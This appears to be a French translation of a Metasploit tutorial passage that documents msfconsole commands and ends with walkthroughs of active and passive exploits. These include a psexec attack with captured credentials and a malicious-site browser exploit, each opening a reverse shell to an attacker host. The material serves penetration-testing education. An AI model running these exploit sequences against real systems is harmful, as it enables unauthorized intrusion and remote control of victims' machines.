GREP
La commande grep est similaire à grep Linux. Il correspond à
un modèle donné à partir de la sortie d'une autre commande
msfconsole. Voici un exemple d'utilisation de grep pour faire
correspondre la sortie contenant la chaîne « http » à partir
d'une recherche de modules contenant la chaîne « oracle ».
msf > grep
Usage: grep [options] pattern cmd
Grep the results of a console command (similar to Linux grep
command)
OPTIONS:
-A <opt&> Show arg lines of output After a match.
-B Show arg lines of output Before a match.
-c Only print a count of matching lines.
-h Help banner.
-i Ignore case.
-k Keep (include) arg lines at start of output.
-m Stop after arg matches.
-s Skip arg lines of output before attempting match.
-v Invert match.
msf >
msf > grep http search oracle
auxiliary/scanner/http/oracle_demantra_database_credentials_lea
k 2014-02-28 normal Oracle Demantra Database
Credentials Leak
auxiliary/scanner/http/oracle_demantra_file_retrieval
2014-02-28 normal Oracle Demantra Arbitrary File
Retrieval with Authentication Bypass
auxiliary/scanner/http/oracle_ilom_login
normal Oracle ILO Manager Login Brute Force Utility
exploit/multi/http/glassfish_deployer
2011-08-04 excellent Sun/Oracle GlassFish Server
Authenticated Code Execution
exploit/multi/http/oracle_ats_file_upload
2016-01-20 excellent Oracle ATS Arbitrary File Upload
exploit/multi/http/oracle_reports_rce
2014-01-15 great Oracle Forms and Reports Remote
Code Execution
exploit/windows/http/apache_chunked
2002-06-19 good Apache Win32 Chunked Encoding
exploit/windows/http/bea_weblogic_post_bof
2008-07-17 great Oracle Weblogic Apache Connector
POST Request Buffer Overflow
exploit/windows/http/oracle9i_xdb_pass
2003-08-18 great Oracle 9i XDB HTTP PASS Overflow
(win32)
exploit/windows/http/oracle_beehive_evaluation
2010-06-09 excellent Oracle BeeHive 2 voice-servlet
processEvaluation() Vulnerability
exploit/windows/http/oracle_beehive_prepareaudiotoplay
2015-11-10 excellent Oracle BeeHive 2 voice-servlet
prepareAudioToPlay() Arbitrary File Upload
exploit/windows/http/oracle_btm_writetofile
2012-08-07 excellent Oracle Business Transaction
Management FlashTunnelService Remote Code Execution
exploit/windows/http/oracle_endeca_exec
2013-07-16 excellent Oracle Endeca Server Remote Command
Execution
exploit/windows/http/oracle_event_processing_upload
2014-04-21 excellent Oracle Event Processing
FileUploadServlet Arbitrary File Upload
exploit/windows/http/osb_uname_jlist
2010-07-13 excellent Oracle Secure Backup Authentication
Bypass/Command Injection Vulnerability
HELP
La commande help vous donnera une liste et une petite
description de toutes les commandes disponibles.
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
...snip...
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database
instance
db_export Export a file containing the contents of
the database
db_import Import a scan result file (filetype will
be auto-detected)
...snip...
INFO
La commande info fournira des informations détaillées sur un
module particulier, y compris toutes les options, cibles et
autres informations. Assurez-vous de toujours lire la
description du module avant de l'utiliser car certains peuvent
avoir des effets indésirables.
La commande info fournit également les informations
suivantes :
Informations sur l'auteur et la licence
Références de vulnérabilité (c'est-à-dire : CVE, BID, etc.)
Toute restriction de charge utile que le module peut avoir
msf exploit(ms09_050_smb2_negotiate_func_index) > info
exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Name: Microsoft SRV2.SYS SMB Negotiate ProcessID
Function Table Dereference
Module:
exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Version: 14774
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Provided by:
Laurent Gaffie <[email protected]>
hdm <[email protected]>
sf <[email protected]>
Available targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to
wait for the attack to complete.
Payload information:
Space: 1024
Description:
This module exploits an out of bounds function table
dereference in
the SMB request validation code of the SRV2.SYS driver
included with
Windows Vista, Windows 7 release candidates (not RTM), and
Windows
2008 Server prior to R2. Windows Vista without SP1 does not
seem
affected by this flaw.
References:
http://www.microsoft.com/technet/security/bulletin/MS09-
050.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
http://www.securityfocus.com/bid/36299
http://www.osvdb.org/57799
http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.microsoft.com/technet/security/Bulletin/MS09-
050.mspx
msf exploit(ms09_050_smb2_negotiate_func_index) >
IRB
L'exécution de la commande irb vous placera dans un
interpréteur Ruby en direct où vous pourrez émettre des
commandes et créer des scripts Metasploit à la volée. Cette
fonctionnalité est également très utile pour comprendre les
rouages du Framework.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, metasploit!"
Hello, metasploit!
=> nil
>> Framework::Version
=> "4.8.2-2014022601"
JOBS
Les tâches sont des modules qui s'exécutent en arrière-plan. La
commande jobs permet de répertorier et de terminer ces
travaux.
msf > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i Lists detailed information about a running job.
-k Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf >
KILL
La commande kill va tuer tous les travaux en cours lorsqu'elle
est fournie avec l'ID de travail.
msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...
[*] Server stopped.
LOAD
La commande load charge un plugin depuis le répertoire des
plugins de Metasploit. Les arguments sont passés sous la
forme key=val sur le shell.
msf > load
Usage: load [var=val var=val ...]
Loads a plugin from the supplied path. If path is not
absolute, first looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/usr/share/metasploit-
framework/plugins).
The optional var=val options are custom parameters that can be
passed to plugins.
msf > load pcap_log
[*] PcapLog plugin loaded.
[*] Successfully loaded plugin: pcap_log
LOADPATH
La commande loadpath chargera une arborescence de modules
tiers pour le chemin afin que vous puissiez pointer Metasploit
sur vos exploits, encodeurs, charges utiles, etc.
msf > loadpath /home/secret/modules
Loaded 0 modules.
UNLOAD
Inversement, la commande unload décharge un plugin précédemment chargé et supprime toutes les
commandes étendues.
msf > unload pcap_log
Unloading plugin pcap_log...unloaded.
RESOURCE
La commande resource exécute des fichiers de ressources (batch) qui peuvent être chargés via
msfconsole.
msf > resource
Usage: resource path1 [path2 ...]
Run the commands stored in the supplied files. Resource files
may also contain
ruby code between tags.
See also: makerc
Certaines attaques, telles que Karmetasploit, utilisent des fichiers de ressources pour exécuter un
ensemble de commandes dans un fichier karma.rc afin de créer une attaque. Plus tard, nous verrons
comment, en dehors de Karmetasploit, cela peut être très utile.
msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc_.txt)> db_connect
postgres:
[email protected]/msfbook
resource (karma.rc_.txt)> use auxiliary/server/browser_autopwn
...snip...
Les fichiers batch peuvent considérablement accélérer les temps de test et de développement et
permettre à l'utilisateur d'automatiser de nombreuses tâches. Outre le chargement d'un fichier batch
à partir de msfconsole, ils peuvent également être transmis au démarrage à l'aide de l'indicateur -r.
L'exemple simple ci-dessous crée un fichier batch pour afficher le numéro de version Metasploit au
démarrage.
root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc
_ _
/ / __ _ __ /_/ __
| | / | _____ ___ _____ | | / _
| | /| | | ___ |- -| / / __ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / - __ | | | | __/| | | |_
|/ |____/ ___/ / \___/ / __| |_ ___
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting
with
Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014021901 [core:4.8 api:1.0] ]
+ -- --=[ 1265 exploits - 695 auxiliary - 202 post ]
+ -- --=[ 330 payloads - 32 encoders - 8 nops ]
[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.8.2-2014022601
Console : 4.8.2-2014022601.15168
msf >
ROUTE
La commande route de Metasploit vous permet de router des sockets à travers une session ou une
« comm », offrant des capacités de pivotement de base. Pour ajouter une route, vous passez le sous-
réseau cible et le masque de réseau suivis du numéro de session (comm)
meterpreter > route -h
Route traffic destined to a given subnet through a supplied
session.
Usage:
route [add/remove] subnet netmask [comm/sid]
route [add/remove] cidr [comm/sid]
route [get]
route [flush]
route [print]
Subcommands:
add - make a new route
remove - delete a route; 'del' is an alias
flush - remove all routes
get - display the route for a given target
print - show all active routes
Examples:
Add a route for all hosts from 192.168.0.0 to 192.168.0.0
through session 1
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1
Delete the above route
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1
Display the route that would be used for the given host or
network
route get 192.168.0.11
meterpreter >
meterpreter > route
Network routes
==============
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.1.254
127.0.0.0 255.0.0.0 127.0.0.1
172.16.1.0 255.255.255.0 172.16.1.100
172.16.1.100 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.1.100
224.0.0.0 240.0.0.0 172.16.1.100
255.255.255.255 255.255.255.255 172.16.1.100
SEARCH
La msfconsole comprend une fonctionnalité de recherche étendue basée sur des expressions
régulières. Si vous avez une idée générale de ce que vous recherchez, vous pouvez le rechercher via
la recherche. Dans la sortie ci-dessous, une recherche est en cours pour MS Bulletin MS09-011. La
fonction de recherche localisera cette chaîne dans les noms de modules, les descriptions, les
références, etc.
Notez que la convention de nommage des modules Metasploit utilise des traits de soulignement
plutôt que des traits d'union.
msf > search usermap_script
Matching Modules
================
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
exploit/multi/samba/usermap_script 2007-05-14
excellent Samba "username map script" Command Execution
msf >
help
Vous pouvez affiner davantage vos recherches en utilisant le système de mots clés intégré.
msf > help search
Usage: search [keywords]
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary,
or post)
Examples:
search cve:2009 type:exploit app:client
msf >
name
To search using a descriptive name, use the name keyword.
msf > search name:mysql
Matching Modules
================
Name
Disclosure Date Rank Description
----
--------------- ---- -----------
auxiliary/admin/mysql/mysql_enum
normal MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql
normal MySQL SQL Generic Query
auxiliary/analyze/jtr_mysql_fast
normal John the Ripper MySQL Password Cracker (Fast Mode)
auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-
09 normal MySQL Authentication Bypass Password Dump
auxiliary/scanner/mysql/mysql_hashdump
normal MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login
normal MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump
normal MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version
normal MySQL Server Version Enumeration
exploit/linux/mysql/mysql_yassl_getname 2010-01-
25 good MySQL yaSSL CertDecoder::GetName Buffer
Overflow
exploit/linux/mysql/mysql_yassl_hello 2008-01-
04 good MySQL yaSSL SSL Hello Message Buffer
Overflow
exploit/windows/mysql/mysql_payload 2009-01-
16 excellent Oracle MySQL for Microsoft Windows Payload
Execution
exploit/windows/mysql/mysql_yassl_hello 2008-01-
04 average MySQL yaSSL SSL Hello Message Buffer
Overflow
msf >
platform
Vous pouvez utiliser la plate-forme pour affiner votre recherche aux modules qui affectent une plate-
forme spécifique.
msf > search platform:aix
Matching Modules
================
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
payload/aix/ppc/shell_bind_tcp
normal AIX Command Shell, Bind TCP Inline
payload/aix/ppc/shell_find_port
normal AIX Command Shell, Find Port Inline
payload/aix/ppc/shell_interact
normal AIX execve shell for inetd
...snip...
type
L'utilisation du type vous permet de filtrer par type de module tel qu'auxiliaire, post,
exploit, etc..
msf > search type:post
Matching Modules
================
Name
Disclosure Date Rank Description
----
--------------- ---- -----------
post/linux/gather/checkvm
normal Linux Gather Virtual Environment Detection
post/linux/gather/enum_cron
normal Linux Cron Job Enumeration
post/linux/gather/enum_linux
normal Linux Gather System Information
...snip...
author
La recherche avec le mot-clé auteur vous permet de rechercher des modules par votre
auteur préféré.
msf > search author:dookie
Matching Modules
================
Name
Disclosure Date Rank Description
----
--------------- ---- -----------
exploit/osx/http/evocam_webserver
2010-06-01 average MacOS X EvoCam HTTP GET Buffer
Overflow
exploit/osx/misc/ufo_ai
2009-10-28 average UFO: Alien Invasion IRC Client Buffer
Overflow Exploit
exploit/windows/browser/amaya_bdo
2009-01-28 normal Amaya Browser v11.0 bdo tag overflow
...snip...
multiple
Vous pouvez également combiner plusieurs mots-clés pour affiner davantage les
résultats renvoyés.
msf > search cve:2011 author:jduck platform:linux
Matching Modules
================
Name Disclosure Date
Rank Description
---- ---------------
---- -----------
exploit/linux/misc/netsupport_manager_agent 2011-01-08
average NetSupport Manager Agent Remote Buffer Overflow
SESSIONS
La commande sessions vous permet de répertorier, d'interagir avec et de supprimer les
sessions générées. Les sessions peuvent être des shells, des sessions Meterpreter,
VNC, etc.
msf > sessions -h
Usage: sessions [options] or sessions [id]
Active session manipulation and interaction.
OPTIONS:
-C Run a Meterpreter Command on the session given with
-i, or all
-K Terminate all sessions
-c Run a command on the session given with -i, or all
-h Help banner
-i Interact with the supplied session ID
-k Terminate sessions by session ID and/or range
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with
-i, or all
-s Run a script on the session given with -i, or all
-t Set a response timeout (default: 15)
-u Upgrade a shell to a meterpreter session on many
platforms
-v List sessions in verbose mode
-x Show extended information in the session table
Many options allow specifying session ranges using commas and
dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-
2,5,6
Pour lister toutes les sessions actives, transmettez les options -l aux sessions
msf exploit(3proxy) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
Pour interagir avec une session donnée, il suffit d'utiliser le commutateur -i suivi du
numéro d'identification de la session.
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...
C:WINDOWSsystem32>
SET
La commande set vous permet de configurer les options et les paramètres du
Framework pour le module actuel avec lequel vous travaillez.
msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST
172.16.194.134
RHOST => 172.16.194.134
msf auxiliary(ms09_050_smb2_negotiate_func_index) > show
options
Module options
(exploit/windows/smb/ms09_050_smb2_negotiate_func_index):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to
wait for the attack to complete.
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Metasploit vous permet également de définir un encodeur à utiliser lors de l'exécution.
Ceci est particulièrement utile dans le développement d'exploits lorsque vous n'êtes pas
tout à fait certain des méthodes d'encodage de charge utile qui fonctionneront avec un
exploit donné.
msf exploit(ms09_050_smb2_negotiate_func_index) > show
encoders
Compatible Encoders
===================
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
generic/none normal The
"none" Encoder
x86/alpha_mixed low Alpha2
Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2
Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid
UTF8/tolower
x86/call4_dword_xor normal Call+4
Dword XOR Encoder
x86/context_cpuid manual CPUID-
based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-
based Context Keyed Payload Encoder
x86/context_time manual time(2)-
based Context Keyed Payload Encoder
x86/countdown normal Single-
byte XOR Countdown Encoder
x86/fnstenv_mov normal
Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal
Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-
Alpha Encoder
x86/nonupper low Non-
Upper Encoder
x86/shikata_ga_nai excellent
Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single
Static Bit
x86/unicode_mixed manual Alpha2
Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2
Alphanumeric Unicode Uppercase Encoder
unset
L'opposé de la commande set, bien sûr, est unset. unset supprime un paramètre
précédemment configuré avec set. Vous pouvez supprimer toutes les variables affectées
avec unset all.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set
Global
======
No entries in data store.
msf >
SETG
Afin d'économiser beaucoup de frappe lors d'un pentest, vous pouvez définir des
variables globales dans msfconsole. Vous pouvez le faire avec la commande setg. Une
fois ceux-ci définis, vous pouvez les utiliser dans autant d'exploits et de modules
auxiliaires que vous le souhaitez. Vous pouvez également les enregistrer pour les utiliser
au prochain démarrage de msfconsole. Cependant, le piège est d'oublier que vous avez
sauvegardé les globals, alors vérifiez toujours vos options avant d'exécuter ou
d'exploiter. Inversement, vous pouvez utiliser la commande unsetg pour supprimer une
variable globale. Dans les exemples qui suivent, les variables sont entrées en
majuscules (c'est-à-dire : LHOST), mais Metasploit est insensible à la casse, il n'est donc
pas nécessaire de le faire.l-caps (ie: LHOST)
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
Après avoir défini vos différentes variables, vous pouvez exécuter la commande save
pour enregistrer votre environnement et vos paramètres actuels. Une fois vos
paramètres enregistrés, ils seront automatiquement chargés au démarrage, ce qui vous
évite d'avoir à tout régler à nouveau.
msf > save
Saved configuration to: /root/.msf4/config
msf >
SHOW
Entrer show à l'invite msfconsole affichera chaque module dans Metasploit.
msf > show
Encoders
========
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
cmd/generic_sh good Generic
Shell Variable Substitution Command Encoder
cmd/ifs low Generic
${IFS} Substitution Command Encoder
cmd/printf_php_mq manual
printf(1) via PHP magic_quotes Utility Command Encoder
...snip...
Vous pouvez utiliser un certain nombre de commandes show, mais celles que vous
utiliserez le plus fréquemment sont show auxiliaire, show exploits, show payloads, show
encoders et show nops.
auxiliary
L'exécution de show auxiliaire affichera une liste de tous les modules auxiliaires
disponibles dans Metasploit. Comme mentionné précédemment, les modules auxiliaires
incluent les scanners, les modules de déni de service, les fuzzers, etc.
msf > show auxiliary
Auxiliary
=========
Name
Disclosure Date Rank Description
----
--------------- ---- -----------
admin/2wire/xslt_password_reset 2007-
08-15 normal 2Wire Cross-Site Request Forgery Password
Reset Vulnerability
admin/backupexec/dump
normal Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry
normal Veritas Backup Exec Server Registry Access
...snip...
exploits
Naturellement, show exploits sera la commande qui vous intéresse le plus car, à la base,
Metasploit concerne l'exploitation. Exécutez show exploits pour obtenir une liste de tous
les exploits contenus dans le framework.
msf > show exploits
Exploits
========
Name
Disclosure Date Rank Description
----
--------------- ---- -----------
aix/rpc_cmsd_opcode21
2009-10-07 great AIX Calendar Manager Service Daemon
(rpc.cmsd) Opcode 21 Buffer Overflow
aix/rpc_ttdbserverd_realpath
2009-06-17 great ToolTalk rpc.ttdbserverd
_tt_internal_realpath Buffer Overflow (AIX)
bsdi/softcart/mercantec_softcart
2004-08-19 great Mercantec SoftCart CGI Overflow
...snip...
Utilisation des charges utiles MSFconsole
L'exécution de show payloads affichera toutes les différentes charges utiles pour toutes
les plateformes disponibles dans Metasploit.
msf > show payloads
Payloads
========
Name Disclosure
Date Rank Description
----
--------------- ---- -----------
aix/ppc/shell_bind_tcp
normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port
normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact
normal AIX execve shell for inetd
...snip...
PAYLOADS
Comme vous pouvez le voir, il y a beaucoup de payloads disponibles. Heureusement,
lorsque vous êtes dans le contexte d'un exploit particulier, l'exécution de show payloads
n'affichera que les payloads compatibles avec cet exploit particulier. Par exemple, s'il
s'agit d'un exploit Windows, les charges utiles Linux ne vous seront pas affichées.
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Disclosure
Date Rank Description
----
--------------- ---- -----------
generic/custom
normal Custom Payload
generic/debug_trap
normal Generic x86 Debug Trap
generic/shell_bind_tcp
normal Generic Command Shell, Bind TCP Inline
...snip...
OPTIONS
Si vous avez sélectionné un module spécifique, vous pouvez exécuter la commande
show options pour afficher les paramètres disponibles et/ou requis pour ce module
spécifique.
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use
(BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
TARGETS
Si vous n'êtes pas certain qu'un système d'exploitation soit vulnérable à un exploit
particulier, exécutez la commande show target depuis le contexte d'un module d'exploit
pour voir quelles cibles sont prises en charge
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
...snip...
ADVANCED
Si vous souhaitez affiner davantage un exploit, vous pouvez voir des options plus
avancées en exécutant show advanced.
msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
ENCODERS
L'exécution d'encodeurs show affichera une liste des encodeurs disponibles dans MSF.
msf > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank
Description
---- --------------- ----
-----------
cmd/generic_sh good Generic
Shell Variable Substitution Command Encoder
cmd/ifs low Generic
${IFS} Substitution Command Encoder
cmd/printf_php_mq manual
printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The
"none" Encoder
mipsbe/longxor normal XOR
Encoder
mipsle/longxor normal XOR
Encoder
php/base64 great PHP
Base64 encoder
ppc/longxor normal PPC
LongXOR Encoder
ppc/longxor_tag normal PPC
LongXOR Encoder
sparc/longxor_tag normal SPARC
DWORD XOR Encoder
x64/xor normal XOR
Encoder
x86/alpha_mixed low Alpha2
Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2
Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid
UTF8/tolower
x86/call4_dword_xor normal Call+4
Dword XOR Encoder
x86/context_cpuid manual CPUID-
based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-
based Context Keyed Payload Encoder
x86/context_time manual time(2)-
based Context Keyed Payload Encoder
x86/countdown normal Single-
byte XOR Countdown Encoder
x86/fnstenv_mov normal
Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal
Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-
Alpha Encoder
x86/nonupper low Non-
Upper Encoder
x86/shikata_ga_nai excellent
Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single
Static Bit
x86/unicode_mixed manual Alpha2
Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2
Alphanumeric Unicode Uppercase Encoder
NOPS
L'exécution d'encodeurs show affichera une liste des encodeurs disponibles dans MSF.
msf > show nops
NOP Generators
==============
Name Disclosure Date Rank Description
---- --------------- ---- -----------
armle/simple normal Simple
mipsbe/better normal Better
php/generic normal PHP Nop Generator
ppc/simple normal Simple
sparc/random normal SPARC NOP
Generator
tty/generic normal TTY Nop Generator
x64/simple normal Simple
x86/opty2 normal Opty2
x86/single_byte normal Single Byte
USE
Lorsque vous avez décidé d'utiliser un module particulier, exécutez la commande use
pour le sélectionner. La commande use change votre contexte en un module spécifique,
exposant des commandes spécifiques au type. Notez dans la sortie ci-dessous que
toutes les variables globales précédemment définies sont déjà configurées.
msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
msf auxiliary(ms09_001_write) >
À tout moment, vous avez besoin d'aide, vous pouvez utiliser la commande d'aide
msfconsole pour afficher les options disponibles.
< PAGE PRÉCÉDENTE
Utilisation de l'interface MSFconsole
PAGE SUIVANTE >
Travailler avec des exploits actifs et passifs dans Metasploit
TRAVAILLER AVEC DES EXPLOITS ACTIFS ET
PASSIFS DANS METASPLOIT
Tous les exploits dans le framework Metasploit seront classés en deux catégories : actifs
et passifs..
ACTIVE EXPLOITS
Les exploits actifs exploiteront un hôte spécifique, s'exécuteront jusqu'à la
fin, puis se termineront.
Les modules de force brute sortiront lorsqu'un obus s'ouvrira de la victime.
L'exécution du module s'arrête si une erreur est rencontrée.
Vous pouvez forcer un module actif à passer en arrière-plan en passant '-j'
à la commande exploit :
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
EXAMPLE
L'exemple suivant utilise un ensemble d'informations d'identification précédemment
acquis pour exploiter et obtenir un shell inversé sur le système cible.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-
98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp -
"MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 ->
192.168.1.100:1073)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
PASSIVE EXPLOITS
Les exploits passifs attendent les hôtes entrants et les exploitent lorsqu'ils se connectent.
Les exploits passifs se concentrent presque toujours sur les clients tels que les
navigateurs Web, les clients FTP, etc.
Ils peuvent également être utilisés en conjonction avec des exploits de messagerie, en
attente de connexions.
Les exploits passifs signalent les shells au fur et à mesure qu'ils se produisent en
passant '-l' à la commande sessions. Passer '-i' interagira avec un shell.
msf exploit(ani_loadimage_chunksize) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444
msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
EXAMPLE
La sortie suivante montre la configuration pour exploiter la vulnérabilité du curseur
animé. L'exploit ne se déclenche pas tant qu'une victime n'a pas navigué sur notre site
Web malveillant.
msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD
windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.5:8080/
[*] Server started.
msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.100:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow
(HTTP) to 192.168.1.100:1077...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.5:4444 ->
192.168.1.100:1078)
msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\victim\Desktop>
Ensuite, nous verrons comment utiliser réellement les exploits dans Metasploit..
‹ PREVIOUS PAGE
MSFconsole Commands
NEXT PAGE ›
Using Exploits in Metasploit
USING EXPLOITS IN METASPLOIT
